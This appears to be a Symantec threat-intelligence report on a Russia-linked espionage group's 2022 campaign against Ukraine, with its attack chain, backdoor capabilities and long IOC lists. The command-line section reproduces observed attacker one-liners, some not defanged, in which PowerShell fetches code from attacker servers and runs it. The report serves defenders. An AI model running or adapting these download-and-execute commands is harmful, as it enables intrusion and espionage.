Shuckworm: Russia-Linked Group Maintains Ukraine Focus

symantec-enterprise-blogs.security.com/blogs/threat-intelligence/russia-ukraine-shuckworm

Threat Hunter TeamSymantec

UPDATE, 17.40 BST, August 15, 2022*: Update for clarity re use of VCD, ASC, and H264 file extensions in file names.*

UPDATE, 17.50 BST, August 17, 2022: *Additional IOCs added*

Recent Shuckworm activity observed by Symantec, a division of Broadcom Software, and aimed at Ukraine appears to be delivering information-stealing malware to targeted networks. This activity was ongoing as recently as August 8, 2022 and much of the activity observed in this campaign is consistent with activity that was highlighted by CERT-UA on July 26.

The activity observed by Symantec began on July 15, and we have additional indicators of compromise (IOCs) and technical details to share about this campaign.

Shuckworm (aka Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. It is generally considered to be a state-sponsored espionage operation.

Infection Vector

The first suspicious activity Symantec saw on victim systems was a self-extracting 7-Zip file, which was downloaded via the system's default browser. Subsequently, mshta.exe downloaded an XML file, which was likely masquerading as an HTML application (HTA) file.

These files were downloaded from the following domain: a0698649[.]xsph[.]ru. It has been publicly documented since May 2022 that subdomains of xsph[.]ru are associated with Shuckworm activity, and this domain was once again mentioned in CERT-UA's July 26 publication about Shuckworm activity.

This domain was also associated with an email that spoofed being from the Security Service of Ukraine and had "Intelligence Bulletin" in the subject line, according to CERT-UA. This being the case, it is most likely the 7-Zip file seen on victim networks in the campaign observed by Symantec was delivered to victims via email.

Attack Chain

The downloading of the XML file onto victim networks was followed by the execution of a PowerShell stealer. We saw three versions of the same PowerShell stealer appear on the one system. It's possible the attackers may have deployed multiple versions of the stealer, which were all very similar, as an attempt to evade detection.

Two VBS downloaders that had the words "juice" and "justice" in their file names were also observed on victim machines. Analysis found that these were Backdoor.Pterodo, a well-known Shuckworm tool that Symantec blogged about earlier this year. These scripts are capable of calling PowerShell, uploading screenshots, and also executing code downloaded from a command-and-control (C&C) server.

Various suspicious files containing "ntuser" in the file names were also seen on victim machines. We associate these "ntuser" files with Shuckworm activity, and many variants of them are malicious, with most detected as the Giddome backdoor, another well-known Shuckworm tool.

We saw various parent processes with file names that had VCD, H264 and ASC extensions. A file named *ntuser.dat.tmcontainer.vcd* was the parent process for a Giddome backdoor variant named *ntuser.dat.tm.descendant.exe* that was seen on victim machines. A suspicious file named *ntuser.dat.tmcontainer.h264* had a child process named *ntuser.dat.tm.declare.exe*, another malicious Giddome backdoor binary. Elsewhere, a file named *ntuser.dat.tmcontainer.asc* had a child process named *ntuser.dat.tm.decay.exe*.

VCD files are disc images of a CD or DVD and are recognized by Windows as an actual disc, similar to ISO files, which we commonly see malicious actors use to deliver payloads. An ASC file is an encrypted file that may contain text or binary information encoded as text, while an H264 file is a video file. However, filenames with the *ntuser.dat.tmcontainer* prefix are files that represent the registry.

It's not clear if these are the actual file types, or if the attackers are using these file names as a means of sowing confusion.

The backdoor dropped on victim systems had the file name *4896.exe*. This backdoor had multiple capabilities, including:

- Record audio using the microphone and upload the recorded files to a remote location
- Take screenshots and upload them
- Log and upload keystrokes
- Download and execute .exe files or download and load DLL files

The legitimate remote desktop protocol (RDP) tools Ammyy Admin and AnyDesk were both also leveraged by the attackers for remote access. Legitimate RDP tools like these and others are frequently leveraged for remote access by attackers in both ransomware and nation-state-backed cyber attacks.

Shuckworm Keeps Focus on Ukraine

This campaign, combined with previous public reporting on Shuckworm, shows some patterns in the operations of the group at the moment, including its reuse of patterns, e.g. paths (such as csidl_profile\music), using files that contain "ntuser.dat" in the file name, using various artifacts that contain, for example, "judgement" in the file name, and also leveraging EXE files whose file names contain English words that begin with "D", "dat", "decay", "deer", "declare", etc.

As the Russian invasion of Ukraine approaches the six-month mark, Shuckworm's long-time focus on the country appears to be continuing unabated. That this recent activity continues even after CERT-UA documented it shows that fear of exposure does not deter the group from its activities. While Shuckworm is not necessarily the most tactically sophisticated espionage group, it compensates for this in its focus and persistence in relentlessly targeting Ukrainian organizations.

Protection/Mitigation

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise

If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.

SHA256 files

abb6aab63b29610dbc0a6d634b6777ff0a2a2b61c5f60bd09b0c3aa3919fa00d
63490fc0828f9683f5dd5799452d684dcc32db28d683943b2bad5b56eee6f03e
b66cc523b88505cc2cc0568e97c9a80b1ceae448c8ac7d7b0d9c0f36378d8c2f
26fcfbbfe4deeae3797bc7999c641f7a93e5a7eb378cf998069d88060801c47d
1f8a4cf57052e66d4de953fcda3aca627308f93b6560934959d745ca6dda66d9
1aceb88288dd40535fdddcbdc1aa174109fe897122d693280d6ccec827f4df0b
ea4ba2c43bc3d18e5d01168ff4f864cbf727e3cb8b9cce5c3f75a27c91d63d84
9da410a62fb552a593b6da8ee89aa451efb6efcd1f3a35fab24e3c04fec84030
420fccd78efe1e4739c3a694afada023e1ce425c29a0affa91bf02c16912d143
e5f34a99d6799c4ff3a4b06e4f42ff136c1a0f59dd4629f3e4da3a7a93e7c88e
d358e4b6afd14fd7b058e0deaeca0bf3537edc264ef7674c1c49db35b82b2d24

f151d2b404315afe4951cbd870866e8fbb11d05d3752ad096bf00d68072d2262
f1c65464f2a86cb6ad6c6792c7553d4162849b5a229fcc396c737edffdb1ee80
c40aaaecb9331f1ddac9fe9b6d3455ecfd7b21b53159453f7fa3a82e3d5f9ecc
2c7943730f3dfb89f534fcb137a4f6e53a7a697309e6cc247f0f9800f1460731
b783b82e846bd8a623ca32982585cf8b79ce7cbf9988a041f7b2ac7fe5f8a7fe
66d2b38589d08bbbe56b34b88bcefc702cdc6593c71e5ee446dbbb115336b876
ac862717600c531846895f8884841d23e52c8332e708ca11c17a5c162ce43432
b9c8ec91559a62baf87305e0ee387bb777da7830a6d9fc72c630e873858ec465
d7d4077af0aff349821f0e964f42db5ab09eb8b2f427f266378aaa1d28af6c57
3f3667294731e3bdbf13d96d32a98342e225601f20157f774917d9147ce692a4
597c517c81a53f7a32a67eb2b15e51a95b6bfdd4a33b11850b08eccf6e29d098
184b5ff96d90a46ad33ba82faa2bb298282e7c35afc0ab96f884f668ad098e61
20b1f6fec7a0f09c64e7e09de7952b7532f8c9cd4b45177d2125d84c6a40ec73
8cbae307b9efdb760cc97468ee7a363d5204559ab21e7982d63867cc13c6b098
92953773c3b405f341df8e68bd8a23cbc9b8fd6c708082aab91632d6cb84bac2
8a5933f7248d1cf2dba19980efaf4f5d5b139563a22cec81df276661c0146450
22ddb97a23a9010b445b08a807b22a997174f528e87604be0bba4e0ccfa18050
b26e8d55828dc8143b68ef6140eab7e5e7e59e6b9e104e032b28f5058a127d51
efd099e4900b692a362cf29a12cd2a100a99b1dd29cfaac4b456808795c07b0f
3fc80fcbf9e813d00af3f54714f79d7accd3888689ac6c5d02a750d804f4e5c3
30761d0a9b08c69cfdd135c69a537aef0df516b097cd9d6a0d9528bc907f4ddd
aa97a858124fb47ea2572a197bd762da9c19bac91bdd4c17469c2e48480e8088
3790ddd924b08942f3ecb6da5a32df090274b90829e651f984f287c00db04592
02963acfa5622901de83cb75fad5bef35902d0ae42310d47f7433379dd3543e8
6461d0693801d8d523df9d2d0cd5a652d72c10acec8fab7344bb141c459543e1
8b1e48dfab33ed67f8ccd788904f2cd4be521ff152a477cec4baba52b56aec15
5f05ba566a66531b988c5a1dceee0b4a7bc2dc34ad2b68d984486e02891a4f6c
3dc83f72a830c54980738467fb36e7b6b5da80e0d9657bd440dcad46ae9f96a2
f895adfe7882bac956f31ec14fb52ea118138257d4a95fb9e1bb6f4e846d07b8
71fdd0edf4699051f5506f34f2663938faeca9400dae1c034ddb6b710d41c7d7
4b9023dbaadd588dad670c49e5a202ae695e12689618f926249d49a935c07315
ef7eb27e19d11894b52148fbe8987b5726ef4390a56aa47a9a4bbe4b17dd0876

Host IOCs

ntuser.dat.tm.declare.exe / 2d0792d3f9d5a921a2d5b476feb88a345869d2f0d95f7342cc10ac1c838896cb
jury.mp3 / 4a2b252eccab7da63aadb7a5539cc4ed8385d7bf258c325dea60ed0edc3e0e25
joy.dat / b62bf1a504a474e259d78fc3349eed94982d6bf6af6012e23a1ec14b3d156dc9
do594e.tmp / 09709be5f7cbb076166d004265a378504f05832ba461f59181b96b374c31a4b3
cronos.exe / c3b7a1a739e3641147f4c10c5acfbc5816c12892b0edbe8038928f236f44ec84
delve.prj / fd61dee37bafb3392fa4450d2afef18cf6b4b3fc5c87476de128c999e58cae59
3893.bmp.vbs / c0a317f60910eed08bbfc7b3ac6e6de1b2029bf4922d0b0d7d3759313a24b16c

Network IOCs

destroy.asierdo[.]ru
hxxp://destroy.asierdo[.]ru/
45.63.94[.]49
165.22.215[.]30
149.28.99[.]187
45.63.79[.]134
140.82.58[.]157
139.180.172[.]67
141.164.45[.].236
95.179.167[.]182
140.82.47[.]97
159.223.235[.]224
138.68.254[.]91
217.163.30[.]126
144.202.54[.]111
159.89.129[.]22
207.246.80[.]1
hxxp://159.223.235[.]224/crab/crevice.elg
a0698649.xsph[.]ru
hxxp://a0698649.xsph[.]ru/preparations/band.xml

157.245.99[.]132
hxxp://157.245.99[.]132/get.php
194.180.174[.]73
hxxp://194.180.174[.]73/1.txt
*.pasamart[.]ru
155.138.252[.]221
hxxp://155.138.252[.]221/get.php
68.183.9[.]9
hxxp://68.183.9[.]9/get.php
motoristo.ru
178.62.108[.]75
hxxp://motoristo[.]ru/get.php
heato[.]ru
140.82.54[.]136
hxxp://heato[.]ru/index.php
leonardis[.]ru
104.238[.]187.145
141.8.192[.]82
139.59.65[.]168
hxxp://139.59.65[.]168/journal.au
45.63.100[.]72
hxxp://45.63.100[.]72/get.php?fr=3126424&se=3089412&dl=hxxps://meta[.]ua/uk/news/politics/52320-ukrayina-rozshirila-oboronnu-spivpratsyu-z-danieyu/&rm=hxxps://meta[.]ua/uk/&kf=false&ts=5875621&dw=2240&dh=1951&t=2053953&s=stable&eec=3242252&po=6485826&ju=8204688&k
199.247.25[.]79
hxxp://199.247.25[.]79/get.php

Command lines

CSIDL_PROFILE\appdata\local\temp\1645694127.exe
CSIDL_PROFILE\downloads\anydesk (2).exe
CSIDL_PROFILE\ntuser.dat.tm.decay.exe
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\17634.bmp CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5491.bmp CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL_PROFILE\29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\17634.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5491.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '>>C:\Users\User\29630.ico
CSIDL_SYSTEM\cmd.exe /c echo '>C:\Users\User\29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo '17634.bmp>> CSIDL_PROFILE\appdata\local\temp\17634.bmp
CSIDL_SYSTEM\cmd.exe /c echo '5491.bmp>> CSIDL_PROFILE\appdata\local\temp\5491.bmp
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\29630.ico 29630.ico.txt
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\29630.ico.txt 29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\29630.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\mshta.exe hxxp://a0698649.xsph[.]ru/preparations/band.xml /f
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -nol -nop echo (INVOKE-EXPRESSION(new-object net.webclient).downloadstring('hxxp://157.245.99[.]132/get.php')) | powershell -
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -windowstyle hidden -nologo Invoke-Expression $env:Include
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $aaa = (New-Object system.Net.WebClient).downloadString('hxxp://194.180.174[.]73/1.txt'); iex $aaa;
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $ip = [System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.pasamart.ru');Start-Sleep -s 10;$IE1 = New-Object -COMObject InternetExplorer.Application -Property @{Navigate2=$([string]$ip+'/lnk.php'); Visible = $False};while ($IE1.ReadyState -ne 4) {Start-Sleep 2};$Doc = $IE1.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $IE1.document, $Null).InnerHtml;$IE1.quit();[io.file]::WriteAllText($($env:USERPROFILE+'\index.txt'),$Doc); iex(iex $Doc)
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadString('hxxp://155.138.252[.]221/get.php'); Invoke-Expression $tmp
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadString('hxxp://68.183.9[.]9/get.php'); Invoke-Expression $tmp
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\29630.ico.vbs

CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\ho2btvivw2m.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\ntuser.dat.tmcontainer.asc //e:vbscript /deserve /decidedly /dene //b
CSIDL_SYSTEMX86\windowspowershell\v1.0\powershell.exe -Version 5.1 -s -NoLogo -NoProfile
CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\local\temp\7zsfx000.cmd
CSIDL_SYSTEM\cmd.exe /c start /min powershell -w hidden -c (iex echo (iex (new-object net.webclient).downloadstring('hxxp://motoristo[.]ru/get.php'))|powershell -)
CSIDL_WINDOWS\explorer.exe
powershell -w hidden -c (iex echo (iex (new-object net.webclient).downloadstring('hxxp://motoristo[.]ru/get.php'))|powershell -)
powershell -w hiddeN -c (iex echo (iex (new-object net.webclient).downloadstring('hxxp://sacramentos[.]ru/get.php'))|powershell -)
wscript.exe CSIDL_PROFILE\ntuser.dat.tmcontainer.asc //e:vbscript /deserve /decidedly /dene //b
wscript.exe CSIDL_PROFILE\documents\jury.mp3 jenny //e:VBScript //b joke
CSIDL_PROFILE\cronos.exe
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\3893.bmp CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\3893.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '3893.bmp>> CSIDL_PROFILE\appdata\local\temp\3893.bmp
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs

CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -nol -nop $nwc = new-object net.webclient;$nwc.headers['Accept']='image/avif,image/webp,*/*';$nwc.headers['Accept-Encoding']='*';$nwc.headers['Accept-Language']='en-US,en;q=0.5';$nwc.headers['Alt-Used']='www.facebook.com';$nwc.headers['Referer']='https://meta.ua/';$nwc.headers['Sec-Fetch-Dest']='document';$nwc.headers['Sec-Fetch-Mode']='no-cors';$nwc.headers['Sec-Fetch-Site']='cross-site';$nwc.headers['TE']='trailers';$nwc.headers['User-Agent']='Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0';$code=([system.text.encoding]::utf8.getstring($nwc.DownloadData('http://45.63.100.72/get.php?fr=3126424&se=3089412&dl=https://meta.ua/uk/news/politics/52320-ukrayina-rozshirila-oboronnu-spivpratsyu-z-danieyu/&rm=https://meta.ua/uk/&kf=false&ts=5875621&dw=2240&dh=1951&t=2053953&s=stable&eec=3242252&po=6485826&ju=8204688&kio $code|iex

CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadString('http://199.247.25.79/get.php'); Invoke-Expression $tmp
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\delve.prj //e:vbscript /departments /dependant /despite //b
CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\local\temp\7zsfx000.cmd
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\10805.bmp CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\14612.bmp CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\19084.bmp CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\20342.bmp CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\26012.bmp CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5275.bmp CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5491.bmp CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL_PROFILE\8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '>C:\Users\User\30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c echo '>C:\Users\User\8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\30802.ico.txt 30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c rename CSIDL_PROFILE\8527.ico.txt 8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\8527.ico.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs

CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\8527.ico.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\5491.bmp.vbs

About the Author

Threat Hunter Team

Symantec

The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.